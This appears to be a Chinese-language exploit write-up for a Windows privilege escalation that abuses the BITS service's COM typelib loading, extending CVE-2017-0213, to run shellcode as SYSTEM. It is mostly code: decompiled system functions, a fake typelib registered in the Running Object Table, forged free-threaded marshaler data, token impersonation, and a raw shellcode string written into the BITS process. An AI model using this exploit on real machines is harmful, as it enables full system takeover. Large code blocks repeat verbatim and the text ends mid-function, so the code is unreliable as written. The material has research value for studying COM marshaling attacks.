我的poc能实现功能:需要管理员身份运行,在打满所有补丁的server2008或win7操作系统,能在bits服务上运行shellcode,最终获得一个system权限的cmd
我的poc实现原理:在windows下有个以system权限运行的Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口,bits服务最终会调用loadregtypelib这个ole32下函数加载一个指定com组件的typelib(具体原理可参考CVE-2017-0213,这里省略),并且可以指定任意typlelib,loadregtypelib函数接着调用LoadTypeLibEx,具体可看我的逆向代码.
`HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib)
{
wchar_t *szFileNameRef; // edi
int hr; // esi
int v5; // esi
int v6; // eax
OLECHAR *v8; // edi
HRESULT stat; // esi
void *v10; // [esp+Ch] [ebp-898h]
ITypeLib **ptlibRef; // [esp+10h] [ebp-894h]
ULONG pchEaten; // [esp+14h] [ebp-890h]
LPMONIKER ppmk; // [esp+18h] [ebp-88Ch]
LPBC ppbc; // [esp+1Ch] [ebp-888h]
struct ILockBytes *v15; // [esp+20h] [ebp-884h]
ITypeLib *ptlib; // [esp+24h] [ebp-880h]
LPCOLESTR szFullPath; // [esp+28h] [ebp-87Ch]
HFILE hFile; // [esp+2Ch] [ebp-878h]
int v19; // [esp+30h] [ebp-874h]
int v20; // [esp+38h] [ebp-86Ch]
int v21; // [esp+3Ch] [ebp-868h]
int v22; // [esp+40h] [ebp-864h]
struct _IMAGE_DOS_HEADER v23; // [esp+48h] [ebp-85Ch]
enum tagSYSKIND syskind; // [esp+88h] [ebp-81Ch]
int v25; // [esp+8Ch] [ebp-818h]
wchar_t Filename; // [esp+90h] [ebp-814h]
wchar_t Dir; // [esp+290h] [ebp-614h]
wchar_t PathResult; // [esp+490h] [ebp-414h]
wchar_t Ext; // [esp+698h] [ebp-20Ch]
wchar_t Drive; // [esp+898h] [ebp-Ch]
szFileNameRef = szFile;
ptlibRef = pptlib;
ppmk = 0;
if ( (regkind & 0x60) == 96 )
{
syskind = -1;
}
else if ( regkind & 0x20 )
{
syskind = 1;
}
else
{
syskind = (regkind & 0x40 | 0x20u) >> 5;
}
if ( regkind & 0xFFFFFF9F )
{
if ( (regkind & 0xFFFFFF9F) == 1 )
{
regkind = 1;
}
else if ( (regkind & 0xFFFFFF9F) == 2 )
{
regkind = 2;
}
}
else
{
regkind = 0;
}
if ( !szFile || !pptlib || regkind > 2 )
return -2147024809;
*pptlib = 0;
while ( 1 )
{
v15 = 0;
ptlib = 0;
InitLoadInfo(&szFullPath);
hr = InitAppData();
if ( hr < 0 )
goto LABEL_60;
if ( !*szFileNameRef )
{
hr = -2147287038;
goto LABEL_60;
}
v5 = sub_6FC41A75();
if ( v5 )
{
ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFileNameRef, syskind);
if ( ptlib )
goto LABEL_31;
}
if ( FindTypeLib(szFileNameRef, &szFullPath, v5) )
{
if ( CreateBindCtx(1u, &ppbc) )
goto LABEL_67;
v8 = SysAllocString(szFileNameRef);
if ( v8 )
{
//先根据它的DisplayName创建filemoniker
stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk);
SysFreeString(v8);
if ( !stat )
{
//BindToObject调用来获取typelib
stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, &ptlib);
ppmk->lpVtbl->Release(ppmk);
}
}
else
{
stat = -2147024882;
}
ppbc->lpVtbl->Release(ppbc);
if ( stat )
{
LABEL_67:
hr = -2147312566;
goto LABEL_60;
}
goto LABEL_28;
}
ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFullPath, syskind);
if ( ptlib )
{
UninitLoadInfo(&szFullPath);
LABEL_31:
*ptlibRef = ptlib;
return 0;
}
pchEaten = 0;
ppbc = 0;
if ( v22 )
{
hr = GetOffsetOfResource(hFile, "typelib", v21, &v23, &pchEaten, &ppbc);
if ( hr < 0 )
goto LABEL_60;
}
hr = CreateFileLockBytesOnHFILE(hFile, 0, pchEaten, ppbc, &v10, &v15);
if ( hr < 0 )
goto LABEL_60;
hFile = -1;
if ( v20 || v22 )
{
v6 = LoadTypeLib2LockBytes(v15, szFullPath, v25, v10, &ptlib, syskind);
hr = v6;
if ( v6 >= 0 )
{
if ( v15 )
{
v15->lpVtbl->Release(v15);
v15 = 0;
}
goto LABEL_24;
}
if ( v6 != -2147319783 )
goto LABEL_60;
}
if ( syskind != 3 )
break;
if ( ppmk
|| (_wsplitpath_s(szFileNameRef, &Drive, 3u, &Dir, 0x100u, &Filename, 0x100u, &Ext, 0x100u),
_wcsicmp(&Filename, L"stdole32"))
|| _wcsicmp(&Ext, L".tlb") )
{
hr = -2147319783;
goto LABEL_60;
}
_wmakepath_s(&PathResult, 0x104u, &Drive, &Dir, L"stdole2", &Ext);
if ( v15 )
v15->lpVtbl->Release(v15);
UninitLoadInfo(&szFullPath);
szFileNameRef = &PathResult;
ppmk = 1;
}
hr = LoadTypeLib1LockBytes(&v15, szFullPath, v25, &ptlib);
if ( hr >= 0 )
{
LABEL_24:
hr = OLE_TYPEMGR::TypeLibLoaded(g_poletmgr, szFullPath, v25, ptlib, syskind);
if ( hr < 0 )
goto LABEL_60;
if ( regkind == REGKIND_DEFAULT && v19 || regkind == 1 )
RegisterTypeLib(ptlib, szFullPath, 0);
LABEL_28:
UninitLoadInfo(&szFullPath);
*ptlibRef = ptlib;
return 0;
}
LABEL_60:
if ( ptlib )
ptlib->lpVtbl->Release(ptlib);
if ( v15 )
v15->lpVtbl->Release(v15);
UninitLoadInfo(&szFullPath);
return hr;
}`;
逆向结果表明:loadregtypelib会把这个com组件的typelib中指定的组件dll文件名作为一个filemoniker解析;
我的第一步做法是Easy File Locker使用锁定这个文件C:\project\testalt\Debug\testalt.dll(你也可以使用https://www.exploit-db.com/exploits/42021/中的方法不需要锁定文件,请另行尝试),
然后,因为文件被锁定了,所以它loadregtypelib调用mkpaersedisplayname来createfilemoniker失败,那是不是意味着我们自定义一个和这个filemoniker相同displayname的任意类型的moniker就可以冒充它了,答案是可行的,所以我在poc中实现了这个moniker并在Running Object Table注册一个自定义的typelib作为moniker关联对象,然后bits服务就会调用filemoniker上bindtoobject返回的对象作为它要找的typelib,
看我的poc具体实现:
先初始化一下CoInitializeSecurity注意这里的appid为自定义com组件的appid,不然注册Rot无法使用
hr = CoInitializeSecurity(
&appid,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_CONNECT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING | 8,
NULL);
bstr_t target_tlb = GetExeDir() + L"\\testalt.dll";
TypeLibWrapper 实现ITypeLib接口的任意TypeLib对象
TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);
ITypeLibPtr tlbptr = static_cast<ITypeLib*>(tlb);
IRunningObjectTablePtr l_spRunningObjectTable;
hr = GetRunningObjectTable(0, &l_spRunningObjectTable);
if (FAILED(hr))
{
return false;
}
IMonikerPtr l_spMoniker;
tlb_path就是我们要用来代替的哪个filemoniker组件dll文件
hr = CreateFileMoniker(tlb_path, &l_spMoniker);
在全局Rot注册以下就好了
DWORD dm;
hr = l_spRunningObjectTable->Register(3, static_cast<ITypeLib*>(tlb), l_spMoniker, &dm);
if (FAILED(hr))
{
return false;
}
//CVE-2017-0213的里面和方法一样只要在MarshalInterface时替换成自定义com组件的guid就行了
TestBits(hEvent, pInner);
`
CVE-2017-0213需要使用具体触发方法
`virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
IID iid = riid;
if (iid == __uuidof(IBackgroundCopyCallback2))
{
printf("Setting bad IID\n");
CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", &iid);
//这里的iid自定义com组件的guid
HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
return hr;
}
if (iid == __uuidof(IBackgroundCopyCallback))
{
HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
return hr;
}
return hr;
}
`
之后bits服务就会去加载自定义com组件的typlelib了,bits服务会把注册在rot上的TypeLibWrapper作为它要找的typelib,然后首先调用它的GetTypeInfoOfGuid方法,看poc代码:
` virtual HRESULT STDMETHODCALLTYPE GetTypeInfoOfGuid(
/* [in] */ __RPC__in REFGUID guid,
/* [out] */ __RPC__deref_out_opt ITypeInfo **ppTinfo) {
try{
//查看远程调用方的token,其实就是bits服务
TryImpersonate();
return S_OK;
}
catch (const _com_error& err)
{
printf("Error: %ls\n", err.ErrorMessage());
}
return S_OK;
}
void TryImpersonate()
{
if (m_ptoken == nullptr)
{
HRESULT hr = CoImpersonateClient();
if (SUCCEEDED(hr))
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
{
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
{
LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
printf(" Token is Name => %ls \n", sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (m_ptoken == nullptr))
{
//在这里就可确认确实是bits服务的systemtoken
printf("[!] System Token is Name => %ls ValuePointeris:%p \n", sid_name);
// 有兴趣的可以看我子项目里面的方法查看token的详细信息
DumpToken(m_ptoken, TRUE);
}
else
{
CloseHandle(hToken);
}
printf("Got Token: %p %ls\n", hToken, sid_name);
LocalFree(sid_name);
}
else
{
printf("Error getting token user %d\n", GetLastError());
}
free(user);
}
else
{
printf("Error opening token %d\n", GetLastError());
}
}
}
}
`
接下来就是重点如何利用这个token,或者说如何在bits服务中执行shellcode吗?
还记得这个TypeLibWrapper吗,bits服务要把他作为要找的typelib,然后首先调用它的GetTypeInfoOfGuid方法,在这之前由于TypeLibWrapper也是一个com对象,会queryinterface以下IMarshal接口,对了,这就是我利用它最终实现运行shellcode的突破点,既然是IMarshal,是否可以作为CFreeMarshaler来unmarshalinerface吗?读者有兴趣的花时间看下另一个poc的原文https://googleprojectzero.blogspot.kr/2014/12/
里面的原理是CFreeMarshaler最后会会从unmarshal的stream中序列化出来一个指针,然后call这个指针(也就是最终的callshellcode);
因为要用到CFreeMarshaler,先看我逆向它出来的源码:
`HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib)
{
wchar_t *szFileNameRef; // edi
int hr; // esi
int v5; // esi
int v6; // eax
OLECHAR *v8; // edi
HRESULT stat; // esi
void *v10; // [esp+Ch] [ebp-898h]
ITypeLib **ptlibRef; // [esp+10h] [ebp-894h]
ULONG pchEaten; // [esp+14h] [ebp-890h]
LPMONIKER ppmk; // [esp+18h] [ebp-88Ch]
LPBC ppbc; // [esp+1Ch] [ebp-888h]
struct ILockBytes *v15; // [esp+20h] [ebp-884h]
ITypeLib *ptlib; // [esp+24h] [ebp-880h]
LPCOLESTR szFullPath; // [esp+28h] [ebp-87Ch]
HFILE hFile; // [esp+2Ch] [ebp-878h]
int v19; // [esp+30h] [ebp-874h]
int v20; // [esp+38h] [ebp-86Ch]
int v21; // [esp+3Ch] [ebp-868h]
int v22; // [esp+40h] [ebp-864h]
struct _IMAGE_DOS_HEADER v23; // [esp+48h] [ebp-85Ch]
enum tagSYSKIND syskind; // [esp+88h] [ebp-81Ch]
int v25; // [esp+8Ch] [ebp-818h]
wchar_t Filename; // [esp+90h] [ebp-814h]
wchar_t Dir; // [esp+290h] [ebp-614h]
wchar_t PathResult; // [esp+490h] [ebp-414h]
wchar_t Ext; // [esp+698h] [ebp-20Ch]
wchar_t Drive; // [esp+898h] [ebp-Ch]
szFileNameRef = szFile;
ptlibRef = pptlib;
ppmk = 0;
if ( (regkind & 0x60) == 96 )
{
syskind = -1;
}
else if ( regkind & 0x20 )
{
syskind = 1;
}
else
{
syskind = (regkind & 0x40 | 0x20u) >> 5;
}
if ( regkind & 0xFFFFFF9F )
{
if ( (regkind & 0xFFFFFF9F) == 1 )
{
regkind = 1;
}
else if ( (regkind & 0xFFFFFF9F) == 2 )
{
regkind = 2;
}
}
else
{
regkind = 0;
}
if ( !szFile || !pptlib || regkind > 2 )
return -2147024809;
*pptlib = 0;
while ( 1 )
{
v15 = 0;
ptlib = 0;
InitLoadInfo(&szFullPath);
hr = InitAppData();
if ( hr < 0 )
goto LABEL_60;
if ( !*szFileNameRef )
{
hr = -2147287038;
goto LABEL_60;
}
v5 = sub_6FC41A75();
if ( v5 )
{
ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFileNameRef, syskind);
if ( ptlib )
goto LABEL_31;
}
if ( FindTypeLib(szFileNameRef, &szFullPath, v5) )
{
if ( CreateBindCtx(1u, &ppbc) )
goto LABEL_67;
v8 = SysAllocString(szFileNameRef);
if ( v8 )
{
//先根据它的DisplayName创建filemoniker
stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk);
SysFreeString(v8);
if ( !stat )
{
//BindToObject调用来获取typelib
stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, &ptlib);
ppmk->lpVtbl->Release(ppmk);
}
}
else
{
stat = -2147024882;
}
ppbc->lpVtbl->Release(ppbc);
if ( stat )
{
LABEL_67:
hr = -2147312566;
goto LABEL_60;
}
goto LABEL_28;
}
ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFullPath, syskind);
if ( ptlib )
{
UninitLoadInfo(&szFullPath);
LABEL_31:
*ptlibRef = ptlib;
return 0;
}
pchEaten = 0;
ppbc = 0;
if ( v22 )
{
hr = GetOffsetOfResource(hFile, "typelib", v21, &v23, &pchEaten, &ppbc);
if ( hr < 0 )
goto LABEL_60;
}
hr = CreateFileLockBytesOnHFILE(hFile, 0, pchEaten, ppbc, &v10, &v15);
if ( hr < 0 )
goto LABEL_60;
hFile = -1;
if ( v20 || v22 )
{
v6 = LoadTypeLib2LockBytes(v15, szFullPath, v25, v10, &ptlib, syskind);
hr = v6;
if ( v6 >= 0 )
{
if ( v15 )
{
v15->lpVtbl->Release(v15);
v15 = 0;
}
goto LABEL_24;
}
if ( v6 != -2147319783 )
goto LABEL_60;
}
if ( syskind != 3 )
break;
if ( ppmk
|| (_wsplitpath_s(szFileNameRef, &Drive, 3u, &Dir, 0x100u, &Filename, 0x100u, &Ext, 0x100u),
_wcsicmp(&Filename, L"stdole32"))
|| _wcsicmp(&Ext, L".tlb") )
{
hr = -2147319783;
goto LABEL_60;
}
_wmakepath_s(&PathResult, 0x104u, &Drive, &Dir, L"stdole2", &Ext);
if ( v15 )
v15->lpVtbl->Release(v15);
UninitLoadInfo(&szFullPath);
szFileNameRef = &PathResult;
ppmk = 1;
}
hr = LoadTypeLib1LockBytes(&v15, szFullPath, v25, &ptlib);
if ( hr >= 0 )
{
LABEL_24:
hr = OLE_TYPEMGR::TypeLibLoaded(g_poletmgr, szFullPath, v25, ptlib, syskind);
if ( hr < 0 )
goto LABEL_60;
if ( regkind == REGKIND_DEFAULT && v19 || regkind == 1 )
RegisterTypeLib(ptlib, szFullPath, 0);
LABEL_28:
UninitLoadInfo(&szFullPath);
*ptlibRef = ptlib;
return 0;
}
LABEL_60:
if ( ptlib )
ptlib->lpVtbl->Release(ptlib);
if ( v15 )
v15->lpVtbl->Release(v15);
UninitLoadInfo(&szFullPath);
return hr;
}`;
先初始化一下CoInitializeSecurity注意这里的appid为自定义com组件的appid,不然注册Rot无法使用
hr = CoInitializeSecurity(
&appid,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_CONNECT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING | 8,
NULL);
bstr_t target_tlb = GetExeDir() + L"\\testalt.dll";
TypeLibWrapper 实现ITypeLib接口的任意TypeLib对象
TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);
ITypeLibPtr tlbptr = static_cast<ITypeLib*>(tlb);
IRunningObjectTablePtr l_spRunningObjectTable;
hr = GetRunningObjectTable(0, &l_spRunningObjectTable);
if (FAILED(hr))
{
return false;
}
IMonikerPtr l_spMoniker;
tlb_path就是我们要用来代替的哪个filemoniker组件dll文件
hr = CreateFileMoniker(tlb_path, &l_spMoniker);
在全局Rot注册以下就好了
DWORD dm;
hr = l_spRunningObjectTable->Register(3, static_cast<ITypeLib*>(tlb), l_spMoniker, &dm);
if (FAILED(hr))
{
return false;
}
//CVE-2017-0213的里面和方法一样只要在MarshalInterface时替换成自定义com组件的guid就行了
TestBits(hEvent, pInner);
`
CVE-2017-0213需要使用具体触发方法
`virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
IID iid = riid;
if (iid == __uuidof(IBackgroundCopyCallback2))
{
printf("Setting bad IID\n");
CLSIDFromString(L"{E80A6EC1-39FB-462A-A56C-411EE9FC1AEB}", &iid);
//这里的iid自定义com组件的guid
HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
return hr;
}
if (iid == __uuidof(IBackgroundCopyCallback))
{
HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
return hr;
}
return hr;
}
`
之后bits服务就会去加载自定义com组件的typlelib了,bits服务会把注册在rot上的TypeLibWrapper作为它要找的typelib,然后首先调用它的GetTypeInfoOfGuid方法,看poc代码:
` virtual HRESULT STDMETHODCALLTYPE GetTypeInfoOfGuid(
/* [in] */ __RPC__in REFGUID guid,
/* [out] */ __RPC__deref_out_opt ITypeInfo **ppTinfo) {
try{
//查看远程调用方的token,其实就是bits服务
TryImpersonate();
return S_OK;
}
catch (const _com_error& err)
{
printf("Error: %ls\n", err.ErrorMessage());
}
return S_OK;
}
void TryImpersonate()
{
if (m_ptoken == nullptr)
{
HRESULT hr = CoImpersonateClient();
if (SUCCEEDED(hr))
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
{
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
{
LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
printf(" Token is Name => %ls \n", sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (m_ptoken == nullptr))
{
//在这里就可确认确实是bits服务的systemtoken
printf("[!] System Token is Name => %ls ValuePointeris:%p \n", sid_name);
// 有兴趣的可以看我子项目里面的方法查看token的详细信息
DumpToken(m_ptoken, TRUE);
}
else
{
CloseHandle(hToken);
}
printf("Got Token: %p %ls\n", hToken, sid_name);
LocalFree(sid_name);
}
else
{
printf("Error getting token user %d\n", GetLastError());
}
free(user);
}
else
{
printf("Error opening token %d\n", GetLastError());
}
}
}
}
`
` virtual HRESULT STDMETHODCALLTYPE GetTypeInfoOfGuid(
/* [in] */ __RPC__in REFGUID guid,
/* [out] */ __RPC__deref_out_opt ITypeInfo **ppTinfo) {
try{
//查看远程调用方的token,其实就是bits服务
TryImpersonate();
return S_OK;
}
catch (const _com_error& err)
{
printf("Error: %ls\n", err.ErrorMessage());
}
return S_OK;
}
void TryImpersonate()
{
if (m_ptoken == nullptr)
{
HRESULT hr = CoImpersonateClient();
if (SUCCEEDED(hr))
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
{
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
{
LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
printf(" Token is Name => %ls \n", sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (m_ptoken == nullptr))
{
//在这里就可确认确实是bits服务的systemtoken
printf("[!] System Token is Name => %ls ValuePointeris:%p \n", sid_name);
// 有兴趣的可以看我子项目里面的方法查看token的详细信息
DumpToken(m_ptoken, TRUE);
}
else
{
CloseHandle(hToken);
}
printf("Got Token: %p %ls\n", hToken, sid_name);
LocalFree(sid_name);
}
else
{
printf("Error getting token user %d\n", GetLastError());
}
free(user);
}
else
{
printf("Error opening token %d\n", GetLastError());
}
}
}
}
`
HRESULT __stdcall CFreeMarshaler::UnmarshalInterface(CFreeMarshaler *this, IStream *pStm, _GUID *riid, void **ppv)
{
bool v4; // zf
int v5; // eax
__int64 tpv; // [esp+8h] [ebp-28h]
unsigned int mshlflags; // [esp+10h] [ebp-20h]
unsigned int cbSize; // [esp+14h] [ebp-1Ch]
HRESULT hr; // [esp+18h] [ebp-18h]
char secret[16]; // [esp+1Ch] [ebp-14h]
*ppv = 0;
//判断初始化CFreeMarshaler标志
if ( !CFreeMarshaler::_fSecretInit )
return -2147418113;
//先读出第一个关于标志mshlflags
pStm->_SelfStreamVtbl->Read(pStm, &mshlflags, 4u, &cbSize);
if ( cbSize != 4 )
return -2147418113;
//先读出第二个最终shellcode的指针
pStm->_SelfStreamVtbl->Read(pStm, &tpv, 8u, &cbSize);
if ( cbSize != 8 )
return -2147418113;
//比较CFreeMarshaler中的secret,如果相同就ok了
hr = pStm->_SelfStreamVtbl->Read(pStm, secret, 16u, &cbSize);
if ( cbSize != 16 || memcmp(CFreeMarshaler::_SecretBlock, secret, 0x10u) )
return -2147418113;
v4 = mshlflags == 2;
v5 = tpv;
//最终shellcode的指针的poi
*ppv = (void *)tpv;
if ( v4 || mshlflags == 1 )
//最终的callshellcode,本文的最终结果
(*(void (__stdcall **)(int))(*(_DWORD *)v5 + 4))(v5);
return hr;
}
`
HRESULT __stdcall CFreeMarshaler::UnmarshalInterface(CFreeMarshaler *this, IStream *pStm, _GUID *riid, void **ppv)
{
bool v4; // zf
int v5; // eax
__int64 tpv; // [esp+8h] [ebp-28h]
unsigned int mshlflags; // [esp+10h] [ebp-20h]
unsigned int cbSize; // [esp+14h] [ebp-1Ch]
HRESULT hr; // [esp+18h] [ebp-18h]
char secret[16]; // [esp+1Ch] [ebp-14h]
*ppv = 0;
//判断初始化CFreeMarshaler标志
if ( !CFreeMarshaler::_fSecretInit )
return -2147418113;
//先读出第一个关于标志mshlflags
pStm->_SelfStreamVtbl->Read(pStm, &mshlflags, 4u, &cbSize);
if ( cbSize != 4 )
return -2147418113;
//先读出第二个最终shellcode的指针
pStm->_SelfStreamVtbl->Read(pStm, &tpv, 8u, &cbSize);
if ( cbSize != 8 )
return -2147418113;
//比较CFreeMarshaler中的secret,如果相同就ok了
hr = pStm->_SelfStreamVtbl->Read(pStm, secret, 16u, &cbSize);
if ( cbSize != 16 || memcmp(CFreeMarshaler::_SecretBlock, secret, 0x10u) )
return -2147418113;
v4 = mshlflags == 2;
v5 = tpv;
//最终shellcode的指针的poi
*ppv = (void *)tpv;
if ( v4 || mshlflags == 1 )
//最终的callshellcode,本文的最终结果
(*(void (__stdcall **)(int))(*(_DWORD *)v5 + 4))(v5);
return hr;
}
`
比较简单就是是所构造好CFreeMarshaler::_fSecretInit和 CFreeMarshaler::_SecretBlock就可以了
我poc实现实现是:
void initParam()
{
//我的shellcode
char shellcode[] = "\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x48\x31\xdb\x48\x31\xf6\x8b\x5f\x3c\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x66\xba\x28\x05\x8b\x04\x96\x48\x01\xf8\xeb\x17\x59\x99\x48\xff\xc2\xff\xd0\x99\x66\xba\x29\x01\x8b\x04\x96\x48\x01\xf8\x48\x31\xc9\xff\xd0\xe8\xe4\xff\xff\xff\x63\x6d\x64";
int len = strlen(shellcode);
DWORD l = 0;
printf("shellcode length %d bytes\n", len);
VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l);
//976是bits服务的pid
HANDLE btshl = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, 976);
LPBYTE si[100];
memset(&si, 0,sizeof(si));
MEMORY_BASIC_INFORMATION basicInfo = { 0 };
///FindSharedSection(*si, btshl);
bstr_t szKey = _T( "aaaaaaaaaaaaaaa123456");
LPVOID lpRemoteAddress = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpRemoteAddress2 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpRemoteAddress3 = VirtualAllocEx(btshl, NULL, szKey.length()+4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
std::vector<BYTE> secret(16);
//这里初始话我们CFreeMarshaler中自定义的的secret
memcpy(&secret[0], szKey, secret.size());
//构造secret
std::vector<BYTE> retdata= BuildFTMData(1, (ULONGLONG)lpRemoteAddress, secret);
//把构造好的secret传给TypeLibWrapper让他里面unmarshal成CFreeMarshaler
TypeLibWrapper *tlb = new TypeLibWrapper(target_tlb, secret);
//把参数写入bit服务的内存中
DWORD wrt;
ULONGLONG refptr = ((ULONGLONG)lpRemoteAddress2 - 8);
BOOL bl = WriteProcessMemory(btshl, lpRemoteAddress, &refptr, 8, &wrt);
if (wrt == 0)
{
printf("[x] can not WriteProcessMemory process:%d\n", GetLastError());
}
ULONGLONG refptr2 = (ULONGLONG)lpRemoteAddress3;
bl = WriteProcessMemory(btshl, lpRemoteAddress2, &refptr2,8, &wrt);
if (wrt == 0)
{
printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
}
bl = WriteProcessMemory(btshl, lpRemoteAddress3, shellcode, (strlen(shellcode) + 1)*sizeof(char), &wrt);
if (wrt == 0)
{
printf("[x] can not WriteProcessMemory2 process:%d\n", GetLastError());
}
//设置shellcode为可读写
bl = VirtualProtectEx(btshl,lpRemoteAddress3, len, PAGE_EXECUTE_READWRITE, &l);
}
//构造secret最终用来反序列化
std::vector<BYTE> BuildFTMData(UINT mshflags, ULONGLONG ptr, const std::vector<BYTE>& secret)
{
std::vector<BYTE> ret(4 + sizeof(ptr) + secret.size());
memcpy(&ret[0], &mshflags, sizeof(mshflags));
memcpy(&ret[4], &ptr, sizeof(ptr));
memcpy(&ret[4 + sizeof(ptr)], &secret[0], secret.size());
return ret;
}
`
参数都构造好了,就看最终CFreeMarshaler如何反序列化了,看代码:
`
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ CLSID *pCid)
{
GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };
//这里返回CLSID_FreeThreadedMarshaller就可以了,bit服务会作为CFreeMarshaler来unmarshal;
memcpy(pCid, &CLSID_FreeThreadedMarshaller, sizeof(*pCid));
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
//往strem写入需要反序列化的数据也就是我之前构造的的secret
return pStm->Write(&_data[0], _data.size(), &written);
`
void initParam()
{
//我的shellcode
char shellcode[] = "\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x48\x31\xdb\x48\x31\xf6\x8b\x5f\x3c\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x66\xba\x28\x05\x8b\x04\x96\x48\x01\xf8\xeb\x17\x59\x99\x48\xff\xc2\xff\xd0\x99\x66\xba\x29\x01\x8b\x04\x96\x48\x01\xf8\x48\x31\xc9\xff\xd0\xe8\xe4\xff\xff\xff\x63\x6d\x64";
int len = strlen(shellcode);
DWORD l = 0;
printf("shellcode length %d bytes\n", len);
VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l);
//976是bits服务的pid
HANDLE btshl = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, 976);
LPBYTE si[100];
memset(&si, 0,sizeof(si));
MEMORY_BASIC_INFORMATION basicInfo = { 0 };
///FindSharedSection(*si, btshl);
